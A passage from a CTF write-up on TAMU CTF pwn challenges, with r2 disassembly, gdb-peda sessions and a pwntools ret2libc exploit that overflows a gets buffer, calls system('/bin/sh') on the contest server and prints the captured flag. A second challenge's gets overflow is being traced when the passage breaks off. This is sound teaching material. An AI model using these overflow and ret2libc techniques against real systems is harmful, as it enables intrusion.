0x08048480    1 6            sub.__gmon_start___252_480
0x08048490    1 33           entry0
0x080484c0    1 4            sym.__x86.get_pc_thunk.bx
0x080484d0    4 43           sym.deregister_tm_clones
0x08048500    4 53           sym.register_tm_clones
0x08048540    3 30           sym.__do_global_dtors_aux
0x08048560    4 43   -> 40   sym.frame_dummy
0x0804858b    1 25           sym.ls
0x080485a4    1 25           sym.cal
0x080485bd    1 25           sym.pwd
0x080485d6    1 25           sym.whoami
0x080485ef   17 404          sym.reduced_shell
0x08048783    2 37   -> 44   sym.main
0x080487b0    4 93           sym.__libc_csu_init
0x08048810    1 2            sym.__libc_csu_fini
0x08048814    1 20           sym._fini

We can see that the libc function system is included, probably in order to execute the commands. For each command there is a user defined function (sym.ls, sym.cal, ...).

Let's have a look at the main function:

[0x08048490]> pdf @ sym.main
            ;-- main:
/ (fcn) sym.main 44
|   sym.main ();
|           ; var int local_4h @ esp+0x4
|           ; DATA XREF from 0x080484a7 (entry0)
|           0x08048783      8d4c2404       lea ecx, dword [esp + local_4h] ; 0x4
|           0x08048787      83e4f0         and esp, 0xfffffff0
|           0x0804878a      ff71fc         push dword [ecx - 4]
|           0x0804878d      55             push ebp
|           0x0804878e      89e5           mov ebp, esp
|           0x08048790      51             push ecx
|           0x08048791      83ec04         sub esp, 4
|           0x08048794      a140a00408     mov eax, dword [obj.stdout] ; [0x804a040:4]=0x3a434347 LEA obj.stdout ; "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609" @ 0x804a040
|           0x08048799      6a00           push 0
|           0x0804879b      6a00           push 0
|           0x0804879d      6a02           push 2
|           0x0804879f      50             push eax
|           0x080487a0      e8bbfcffff     call sym.imp.setvbuf       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size);
\           0x080487a5      83c410         add esp, 0x10
|           ; JMP XREF from 0x080487ad (sym.main)
|       .-> 0x080487a8      e842feffff     call sym.reduced_shell
|       `=< 0x080487ad      ebf9           jmp 0x80487a8

There is basically only a call to sym.reduced_shell. So let's proceed there:

[0x08048490]> pdf @ sym.reduced_shell 
/ (fcn) sym.reduced_shell 404
|   sym.reduced_shell ();
|           ; var int local_1ch @ ebp-0x1c
|           ; CALL XREF from 0x080487a8 (sym.main)
|           0x080485ef      55             push ebp
|           0x080485f0      89e5           mov ebp, esp
|           0x080485f2      83ec28         sub esp, 0x28               ; '('
|           0x080485f5      83ec0c         sub esp, 0xc
|           0x080485f8      6842880408     push str.I_am_a_reduced_online_shell ; str.I_am_a_reduced_online_shell ; "I am a reduced online shell" @ 0x8048842
|           0x080485fd      e81efeffff     call sym.imp.puts          ; int puts(const char *s);
|           0x08048602      83c410         add esp, 0x10
|           0x08048605      83ec0c         sub esp, 0xc
|           0x08048608      685e880408     push str.Your_options_are: ; str.Your_options_are: ; "Your options are:" @ 0x804885e
|           0x0804860d      e80efeffff     call sym.imp.puts          ; int puts(const char *s);
|           0x08048612      83c410         add esp, 0x10
|           0x08048615      83ec0c         sub esp, 0xc
|           0x08048618      6870880408     push str.1._ls_n2._cal_n3._pwd_n4._whoami_n5._exit ; str.1._ls_n2._cal_n3._pwd_n4._whoami_n5._exit ; "1. ls.2. cal.3. pwd.4. whoami.5. exit" @ 0x8048870
|           0x0804861d      e8fefdffff     call sym.imp.puts          ; int puts(const char *s);
|           0x08048622      83c410         add esp, 0x10
|           0x08048625      83ec0c         sub esp, 0xc
|           0x08048628      6896880408     push str.Input_ ; str.Input_ ; "Input> " @ 0x8048896
|           0x0804862d      e8cefdffff     call sym.imp.printf        ; int printf(const char *format);
|           0x08048632      83c410         add esp, 0x10
|           0x08048635      83ec0c         sub esp, 0xc
|           0x08048638      8d45e4         lea eax, dword [ebp - local_1ch]
|           0x0804863b      50             push eax
|           0x0804863c      e8cffdffff     call sym.imp.gets          ; char*gets(char *s);
...
|    ||||   0x0804870d      68a4880408     push 0x80488a4
|    ||||   0x08048712      8d45e4         lea eax, dword [ebp - local_1ch]
|    ||||   0x08048715      50             push eax
|    ||||   0x08048716      e8d5fcffff     call sym.imp.strcmp        ; int strcmp(const char *s1, const char *s2);
|    ||||   0x0804871b      83c410         add esp, 0x10
|    ||||   0x0804871e      85c0           test eax, eax
|   ,=====< 0x08048720      7507           jne 0x8048729
|   |||||   ; JMP XREF from 0x08048708 (sym.reduced_shell)
|   |`----> 0x08048722      e8affeffff     call sym.whoami
...
|           0x08048781      c9             leave
\           0x08048782      c3             ret

I truncated the output a little bit. The most important fact is that yet again gets is used the read the user input. This user input is compared to the available commands using strcmp. If the comparison succeeds the corresponding user defined function is called (for example sym.whoami):

[0x08048490]> pdf @ sym.whoami 
/ (fcn) sym.whoami 25
|   sym.whoami ();
|           ; CALL XREF from 0x08048722 (sym.reduced_shell)
|           0x080485d6      55             push ebp
|           0x080485d7      89e5           mov ebp, esp
|           0x080485d9      83ec08         sub esp, 8
|           0x080485dc      83ec0c         sub esp, 0xc
|           0x080485df      683b880408     push str.whoami ; str.whoami ; "whoami" @ 0x804883b
|           0x080485e4      e847feffff     call sym.imp.system        ; int system(const char *string);
|           0x080485e9      83c410         add esp, 0x10
|           0x080485ec      90             nop
|           0x080485ed      c9             leave
\           0x080485ee      c3             ret

Within sym.whoami the libc function system is called passing the string "whoami". This way the command whoami is executed.

Since our goal is to get a shell, we would like to call system passing the string "/bin/sh".

We have already seen that gets might be vulnerable to a buffer overflow. Thus we can use the same technique we used for the first binaries:

gdb-peda$ pattern create 300 /tmp/pattern_pwn4
Writing pattern of 300 chars to filename "/tmp/pattern_pwn4"
gdb-peda$ r < /tmp/pattern_pwn4
Starting program: /root/Downloads/pwn_tamu/pwn4 < /tmp/pattern_pwn4
I am a reduced online shell
Your options are:
1. ls
2. cal
3. pwd
4. whoami
5. exit
Input> Unkown Command


Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xa ('\n')
EBX: 0x0 
ECX: 0xf7fae894 --> 0x0 
EDX: 0xa ('\n')
ESI: 0xf7fad000 --> 0x1cfd70 
EDI: 0x0 
EBP: 0x413b4141 ('AA;A')
ESP: 0xffffd340 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A"...)
EIP: 0x41412941 ('A)AA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41412941
[------------------------------------stack-------------------------------------]
0000| 0xffffd340 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A"...)
0004| 0xffffd344 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%"...)
0008| 0xffffd348 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0"...)
0012| 0xffffd34c ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA"...)
0016| 0xffffd350 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%"...)
0020| 0xffffd354 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"...)
0024| 0xffffd358 ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA"...)
0028| 0xffffd35c ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41412941 in ?? ()
gdb-peda$ pattern offset $eip
1094789441 found at offset: 32

We successfully overwrote the return address. This time the offset from the buffer to the return address is 32 byte.

In order to get a shell with pwn3 we placed a shellcode in the buffer and overwrote the return address with the address of this shellcode. Here we cannot do this because NX is enabled meaning that instructions stored on the stack will not be executed.

To spawn a shell nonetheless we can use a technique called return to libc (ret2libc). We simply overwrite the return address with a function from the libc and set up the stack just like on an ordinary function call.

When a function is called, the arguments for the function are pushed on the stack (this depends on the calling convention but is true here). After this the call instruction pushes the return address on the stack, where the execution should proceed after the function call (the address following the function call). This way the stack looks like this when the function is entered:

[  RETURN ADDRESS ]    <--- ESP
[    ARGUMENT 1   ]

This return address is not the return address we are going to overwrite! It is the return address of the function call to system we are going to make. This means that the execution proceeds at this address after the call to system. Because system will already spawn our shell, we do not really care where the execution proceeds afterwards and we can simply put some junk in here.

Summing it up the final buffer we are going to use contains:
–> 32 junk-bytes to reach the return address (offset)
–> 4 bytes: address of system (this is the overwritten return address)
–> 4 junk-bytes (return address after system)
–> 4 bytes: argument to system

Since we want to pass the string "/bin/sh" to system we have to store this string somewhere. Luckily the string is already present within the binary:

[0x08048490]> / /bin/sh
Searching 7 bytes from 0x08048000 to 0x0804a048: 2f 62 69 6e 2f 73 68 
Searching 7 bytes in [0x8048000-0x804a048]
hits: 1
0x0804a038 hit1_0 .fv/bin/shGCC: (Ubuntu 5..

Within r2 we can search a string with a slash (/). At the address 0x0804a038 the string "/bin/sh" has been found.

Now we can write a python-script which will set up the buffer and input it to the program running on the ctf server:

root@kali:~/Downloads/pwn_tamu# cat pwn4.py 
from pwn import *

p = remote("pwn.ctf.tamu.edu", 4324)

p.recvuntil("Input> ")

addr_binsh  = 0x804a038
addr_system = 0x8048430 # system@plt

expl = "A" * 32
expl += p32(addr_system)
expl += "JUNK"
expl += p32(addr_binsh)

p.sendline(expl)
p.interactive()

Running the script calls system("/bin/sh") spawning a shell:

root@kali:~/Downloads/pwn_tamu# python pwn4.py 
[+] Opening connection to pwn.ctf.tamu.edu on port 4324: Done
[*] Switching to interactive mode
Unkown Command

$ whoami
pwnuser
$ ls -al
total 20
drwxr-xr-x  2 pwnflag pwnflag 4096 Feb  9 17:00 .
drwxr-xr-x 46 root    root    4096 Feb 17 11:05 ..
-r--r--r--  1 pwnflag pwnflag   27 Feb  9 04:32 flag.txt
-rwsr-xr-x  1 pwnflag pwnflag 7792 Feb  9 04:32 pwn4
$ cat flag.txt
gigem{b4ck_70_7h3_l1br4ry}

Done! The flag is gigem{b4ck_70_7h3_l1br4ry}.


pwn5 (200 pts)

We start by checking the enabled security mechanisms:

root@kali:~/Downloads/pwn_tamu# checksec pwn5
[*] '/root/Downloads/pwn_tamu/pwn5'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Nothing special here. As well as the last binaries there is no stack canary.

The program is a little text adventure:

root@kali:~/Downloads/pwn_tamu# ./pwn5
Welcome to the TAMU Text Adventure!
You are about to begin your journey at Texas A&M as a student
But first tell me a little bit about yourself
What is your first name?: ffff
What is your last name?: llll
What is your major?: mmmm
Are you joining the Corps of Cadets?(y/n): y

Welcome, ffff llll, to Texas A&M!
You wake with a start as your sophomore yells "Wake up fish llll! Why aren't you with your buddies in the fallout hole?"
As your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole.
You spend your morning excersizing and eating chow.
Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)
1. Go to class.
2. Change your major.
3. Skip class and sleep
4. Study
1
You go to class and sit front and center as the Corps academic advisors told you to do.
As the lecturer drones on about a topic that you don't quite understand in the field of mmmm you feel yourself beginning to drift off.
You wake with a start and find that you are alone in the lecture hall.

Let's have a look at it using r2:

root@kali:~/Downloads/pwn_tamu# r2 pwn5
Warning: Cannot initialize dynamic strings
[0x08048756]> aaa
...
[0x08048756]> iI
havecode true
pic      false
canary   false
nx       true
crypto   false
va       true
bintype  elf
class    ELF32
lang     c
arch     x86
bits     32
machine  Intel 80386
os       linux
minopsz  1
maxopsz  16
pcalign  0
subsys   linux
endian   little
stripped false
static   true
linenum  true
lsyms    true
relocs   true
rpath    NONE
binsz    749160

The command iI does basically the same as checksec providing a few more details. This was not relevant for the last binaries but here there is something special. The highlighted line states that the binary is static. This means that all required functions (for example from libc) are built in within the binary. This way no shared libraries are required to run the program. Unfortunately this also means that we cannot use ret2libc because we can only use the functions which are built-in.

Before we get to the actual exploit we have to spot a vulnerability within the program:

[0x08048756]> pdf @ main 
            ;-- main:
/ (fcn) sym.main 36
|   sym.main (int arg_4h);
|           ; arg int arg_4h @ esp+0x4
|           ; DATA XREF from 0x0804876d (entry0)
|           0x08048c85      8d4c2404       lea ecx, dword [esp + arg_4h] ; 0x4
|           0x08048c89      83e4f0         and esp, 0xfffffff0
|           0x08048c8c      ff71fc         push dword [ecx - 4]
|           0x08048c8f      55             push ebp
|           0x08048c90      89e5           mov ebp, esp
|           0x08048c92      51             push ecx
|           0x08048c93      83ec04         sub esp, 4
|           0x08048c96      e891feffff     call sym.print_beginning   ; floating_point rint(arithmetic x);
|           0x08048c9b      b800000000     mov eax, 0
|           0x08048ca0      83c404         add esp, 4
|           0x08048ca3      59             pop ecx
|           0x08048ca4      5d             pop ebp
|           0x08048ca5      8d61fc         lea esp, dword [ecx - 4]
\           0x08048ca8      c3             ret

Within the main function there is basically only a call to sym.print_beginning:

[0x08048756]> pdf @ sym.print_beginning 
/ (fcn) sym.print_beginning 345
|   sym.print_beginning ();
|           ; var int local_9h @ ebp-0x9
|           ; CALL XREF from 0x08048c96 (sym.main)
...
|           0x08048b7a      50             push eax
|           0x08048b7b      6a64           push 0x64                   ; 'd' ; 'd'
|           0x08048b7d      68201a0f08     push obj.first_name ; obj.first_name ; obj.first_name
|           0x08048b82      e839680000     call sym.fgets             ; char *fgets(char *s, int size, FILE *stream);
|           0x08048b87      83c410         add esp, 0x10
|           0x08048b8a      83ec08         sub esp, 8
|           0x08048b8d      68adfd0b08     push 0x80bfdad
|           0x08048b92      68201a0f08     push obj.first_name ; obj.first_name ; obj.first_name
|           0x08048b97      e8043d0100     call sym.strtok            ; char*strtok(char *s1, const char *s2);
|           0x08048b9c      83c410         add esp, 0x10
|           0x08048b9f      83ec0c         sub esp, 0xc
|           0x08048ba2      68affd0b08     push str.What_is_your_last_name_: ; str.What_is_your_last_name_: ; "What is your last name?: " @ 0x80bfdaf
|           0x08048ba7      e834640000     call sym.__printf          ; int printf(const char *format);
|           0x08048bac      83c410         add esp, 0x10
|           0x08048baf      a1bc040f08     mov eax, dword [obj.stdin]  ; [0x80f04bc:4]=0x80f0360 obj._IO_2_1_stdin_ LEA obj._IO_stdin ; "`............" @ 0x80f04bc
|           0x08048bb4      83ec04         sub esp, 4
|           0x08048bb7      50             push eax
|           0x08048bb8      6a64           push 0x64                   ; 'd' ; 'd'
|           0x08048bba      68a01a0f08     push obj.last_name ; obj.last_name ; obj.last_name
|           0x08048bbf      e8fc670000     call sym.fgets             ; char *fgets(char *s, int size, FILE *stream);
|           0x08048bc4      83c410         add esp, 0x10
|           0x08048bc7      83ec08         sub esp, 8
|           0x08048bca      68adfd0b08     push 0x80bfdad
|           0x08048bcf      68a01a0f08     push obj.last_name ; obj.last_name ; obj.last_name
|           0x08048bd4      e8c73c0100     call sym.strtok            ; char*strtok(char *s1, const char *s2);
|           0x08048bd9      83c410         add esp, 0x10
|           0x08048bdc      83ec0c         sub esp, 0xc
|           0x08048bdf      68c9fd0b08     push str.What_is_your_major_: ; str.What_is_your_major_: ; "What is your major?: " @ 0x80bfdc9
|           0x08048be4      e8f7630000     call sym.__printf          ; int printf(const char *format);
|           0x08048be9      83c410         add esp, 0x10
|           0x08048bec      a1bc040f08     mov eax, dword [obj.stdin]  ; [0x80f04bc:4]=0x80f0360 obj._IO_2_1_stdin_ LEA obj._IO_stdin ; "`............" @ 0x80f04bc
|           0x08048bf1      83ec04         sub esp, 4
|           0x08048bf4      50             push eax
|           0x08048bf5      6a14           push 0x14
|           0x08048bf7      68041a0f08     push obj.major ; obj.major  ; obj.major
|           0x08048bfc      e8bf670000     call sym.fgets             ; char *fgets(char *s, int size, FILE *stream);
...
|           0x08048c83      c9             leave
\           0x08048c84      c3             ret

I truncated the output a little bit. The highlighted lines read the user input. But this time fgets is used instead of gets. fgets is called passing the maximum amount of bytes to read. This means we cannot leverage this for a buffer overflow as long as the appropriate amount is passed. Since this seems right for the calls above, let's keep on looking in other functions:

[0x08048756]> pdf @ sym.first_day_corps 
/ (fcn) sym.first_day_corps 296
|   sym.first_day_corps ();
...
|           0x08048a5f      e8fc870000     call sym.getchar           ; int getchar(void);
|           0x08048a64      e8f7870000     call sym.getchar           ; int getchar(void);
|           0x08048a69      8845f7         mov byte [ebp - local_9h], al
|           0x08048a6c      0fbe45f7       movsx eax, byte [ebp - local_9h]
|           0x08048a70      83f832         cmp eax, 0x32               ; '2' ; '2'
|       ,=< 0x08048a73      7455           je 0x8048aca
|       |   0x08048a75      83f832         cmp eax, 0x32               ; '2' ; '2'
...
|  |||||`-> 0x08048aca      83ec08         sub esp, 8
|  |||||    0x08048acd      68041a0f08     push obj.major ; obj.major  ; obj.major
|  |||||    0x08048ad2      6884f70b08     push str.You_decide_that_you_are_already_tired_of_studying__s_and_go_to_the_advisors_office_to_change_your_major_n ; str.You_decide_that_you_are_already_tired_of_studying__s_and_go_to_the_advisors_office_to_change_your_major_n ; "You decide that you are already tired of studying %s and go to the advisors office to change your major." @ 0x80bf784
|  |||||    0x08048ad7      e804650000     call sym.__printf          ; int printf(const char *format);
|  |||||    0x08048adc      83c410         add esp, 0x10
|  |||||    0x08048adf      83ec0c         sub esp, 0xc
|  |||||    0x08048ae2      68f0f70b08     push str.What_do_you_change_your_major_to_: ; str.What_do_you_change_your_major_to_: ; "What do you change your major to?: " @ 0x80bf7f0
|  |||||    0x08048ae7      e8f4640000     call sym.__printf          ; int printf(const char *format);
|  |||||    0x08048aec      83c410         add esp, 0x10
|  |||||    0x08048aef      e8a8fdffff     call sym.change_major
|  |||||,=< 0x08048af4      eb33           jmp 0x8048b29
...
|  `-````-> 0x08048b29      90             nop
|           0x08048b2a      c9             leave
\           0x08048b2b      c3             ret

Here getchar is used, which only reads a single character. No overflow here, too. Let's keep on searching:

[0x08048756]> pdf @ sym.change_major 
/ (fcn) sym.change_major 72
|   sym.change_major ();
|           ; var int local_1ch @ ebp-0x1c
|           ; CALL XREF from 0x080489c2 (sym.first_day_normal)
|           ; CALL XREF from 0x08048aef (sym.first_day_corps)
|           0x0804889c      55             push ebp
|           0x0804889d      89e5           mov ebp, esp
|           0x0804889f      83ec28         sub esp, 0x28               ; '('
|           0x080488a2      e8b9890000     call sym.getchar           ; int getchar(void);
|           0x080488a7      83ec0c         sub esp, 0xc
|           0x080488aa      8d45e4         lea eax, dword [ebp - local_1ch]
|           0x080488ad      50             push eax
|           0x080488ae      e82d6f0000     call sym.gets              ; char*gets(char *s);
|           0x080488b3      83c410         add esp, 0x10
|           0x080488b6      83ec04         sub esp, 4
|           0x080488b9      6a14           push 0x14
|           0x080488bb      68041a0f08     push obj.major ; obj.major  ; obj.major
|           0x080488c0      8d45e4         lea eax, dword [ebp - local_1ch]
|           0x080488c3      50             push eax
|           0x080488c4      e897f9ffff     call fcn.08048260
|           0x080488c9      83c410         add esp, 0x10
|           0x080488cc      83ec08         sub esp, 8
|           0x080488cf      68041a0f08     push obj.major ; obj.major  ; obj.major
|           0x080488d4      6808f50b08     push str.You_changed_your_major_to:__s_n ; str.You_changed_your_major_to:__s_n ; "You changed your major to: %s." @ 0x80bf508
|           0x080488d9      e802670000     call sym.__printf          ; int printf(const char *format);
|           0x080488de      83c410         add esp, 0x10
|           0x080488e1      90             nop
|           0x080488e2      c9             leave
\           0x080488e3      c3             ret
[0x08048756]> 

Great! Within sym.change_major the function gets is used to read the user input. We have already seen that this function is prone to buffer overflows.

In order to overflow the buffer within sym.change_major using a pattern, we have to select the appropriate menu entries of the text adventure beforehand.

I used a python-script to do this:

root@kali:~/Downloads/pwn_tamu# cat pwn5.py 
from pwn import *

p = process("./pwn5")

raw_input()

p.sendline("ffff")  # first_name
p.sendline("llll")  # last_name
p.sendline("mmmm")  # major
p.sendline("y")     # --> Corps of Cadets
p.sendline("2")     # --> 2. Change your major.

p.sendline(cyclic(200))
p.interactive()

After starting the process I added a call to raw_input() which pauses the execution of the script until something is entered:

root@kali:~/Downloads/pwn_tamu# python pwn5.py 
[+] Starting local process './pwn5': pid 18553

This way I can attach gdb to the running process in another shell:

root@kali:~/Downloads# gdb ./pwn5 $(pidof pwn5)
...
Attaching to process 18599
Reading symbols from /root/Downloads/pwn_tamu/pwn5...(no debugging symbols found)...done.

[----------------------------------registers-----------------------------------]
EAX: 0xfffffe00 
EBX: 0x0 
ECX: 0x8b0a4f0 --> 0x0 
EDX: 0x1000 
ESI: 0x80f0360 --> 0xfbad2088 
EDI: 0x80f1a20 --> 0x0 
EBP: 0xff86dc08 --> 0x63 ('c')
ESP: 0xff86dbb8 --> 0xff86dc08 --> 0x63 ('c')
EIP: 0xf77b5c89 (<__kernel_vsyscall+9>:	pop    ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf77b5c83 <__kernel_vsyscall+3>:	mov    ebp,esp
   0xf77b5c85 <__kernel_vsyscall+5>:	sysenter 
   0xf77b5c87 <__kernel_vsyscall+7>:	int    0x80
=> 0xf77b5c89 <__kernel_vsyscall+9>:	pop    ebp
   0xf77b5c8a <__kernel_vsyscall+10>:	pop    edx
   0xf77b5c8b <__kernel_vsyscall+11>:	pop    ecx
   0xf77b5c8c <__kernel_vsyscall+12>:	ret    
   0xf77b5c8d:	nop
[------------------------------------stack-------------------------------------]
0000| 0xff86dbb8 --> 0xff86dc08 --> 0x63 ('c')
0004| 0xff86dbbc --> 0x1000 
0008| 0xff86dbc0 --> 0x8b0a4f0 --> 0x0 
0012| 0xff86dbc4 --> 0x8071972 (<__read_nocancel+24>:	pop    ebx)
0016| 0xff86dbc8 --> 0x80f0360 --> 0xfbad2088 
0020| 0xff86dbcc --> 0x8051af2 (<_IO_new_file_underflow+274>:	add    esp,0x10)
0024| 0xff86dbd0 --> 0x0 
0028| 0xff86dbd4 --> 0x8b0a4f0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf77b5c89 in __kernel_vsyscall ()
gdb-peda$

At first we should add a breakpoint to the ret instruction of the function where the user input vulnerable to a buffer overflow is read:

gdb-peda$ disassemble change_major 
Dump of assembler code for function change_major:
   0x0804889c <+0>:	push   ebp
   0x0804889d <+1>:	mov    ebp,esp
   0x0804889f <+3>:	sub    esp,0x28
   0x080488a2 <+6>:	call   0x8051260 <getchar>
   0x080488a7 <+11>:	sub    esp,0xc
   0x080488aa <+14>:	lea    eax,[ebp-0x1c]
   0x080488ad <+17>:	push   eax
   0x080488ae <+18>:	call   0x804f7e0 <gets>
   0x080488b3 <+23>:	add    esp,0x10
   0x080488b6 <+26>:	sub    esp,0x4
   0x080488b9 <+29>:	push   0x14
   0x080488bb <+31>:	push   0x80f1a04
   0x080488c0 <+36>:	lea    eax,[ebp-0x1c]
   0x080488c3 <+39>:	push   eax
   0x080488c4 <+40>:	call   0x8048260
   0x080488c9 <+45>:	add    esp,0x10
   0x080488cc <+48>:	sub    esp,0x8
   0x080488cf <+51>:	push   0x80f1a04
   0x080488d4 <+56>:	push   0x80bf508
   0x080488d9 <+61>:	call   0x804efe0 <printf>
   0x080488de <+66>:	add    esp,0x10
   0x080488e1 <+69>:	nop
   0x080488e2 <+70>:	leave  
   0x080488e3 <+71>:	ret    
End of assembler dump.
gdb-peda$ b *change_major+71
Breakpoint 1 at 0x80488e3

After this we can continue the process' execution:

gdb-peda$ c
Continuing.

Now we can hit ENTER in the other shell continuing the executon of the python-script:

...
<ENTER>
[*] Switching to interactive mode
Welcome to the TAMU Text Adventure!
You are about to begin your journey at Texas A&M as a student
But first tell me a little bit about yourself
What is your first name?: What is your last name?: What is your major?: Are you joining the Corps of Cadets?(y/n): 
Welcome, ffff llll, to Texas A&M!
You wake with a start as your sophomore yells "Wake up fish llll! Why aren't you with your buddies in the fallout hole?"
As your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole.
You spend your morning excersizing and eating chow.
Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)
1. Go to class.
2. Change your major.
3. Skip class and sleep
4. Study
You decide that you are already tired of studying mmmm and go to the advisors office to change your major
What do you change your major to?: You changed your major to: mmmm
$  

In the gdb shell the breakpoint is hit:

[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x80481b0 (<_init>:	push   ebx)
ECX: 0x7fffffe0 
EDX: 0x80f14d4 --> 0x0 
ESI: 0x80f000c --> 0x80649f0 (<__strcpy_ssse3>:	mov    edx,DWORD PTR [esp+0x4])
EDI: 0x5c ('\\')
EBP: 0x61616168 ('haaa')
ESP: 0xff86dcdc ("iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
EIP: 0x80488e3 (<change_major+71>:	ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80488de <change_major+66>:	add    esp,0x10
   0x80488e1 <change_major+69>:	nop
   0x80488e2 <change_major+70>:	leave  
=> 0x80488e3 <change_major+71>:	ret    
   0x80488e4 <first_day_normal>:	push   ebp
   0x80488e5 <first_day_normal+1>:	mov    ebp,esp
   0x80488e7 <first_day_normal+3>:	sub    esp,0x18
   0x80488ea <first_day_normal+6>:	sub    esp,0xc
[------------------------------------stack-------------------------------------]
0000| 0xff86dcdc ("iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0004| 0xff86dce0 ("jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0008| 0xff86dce4 ("kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0012| 0xff86dce8 ("laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0016| 0xff86dcec ("maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0020| 0xff86dcf0 ("naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
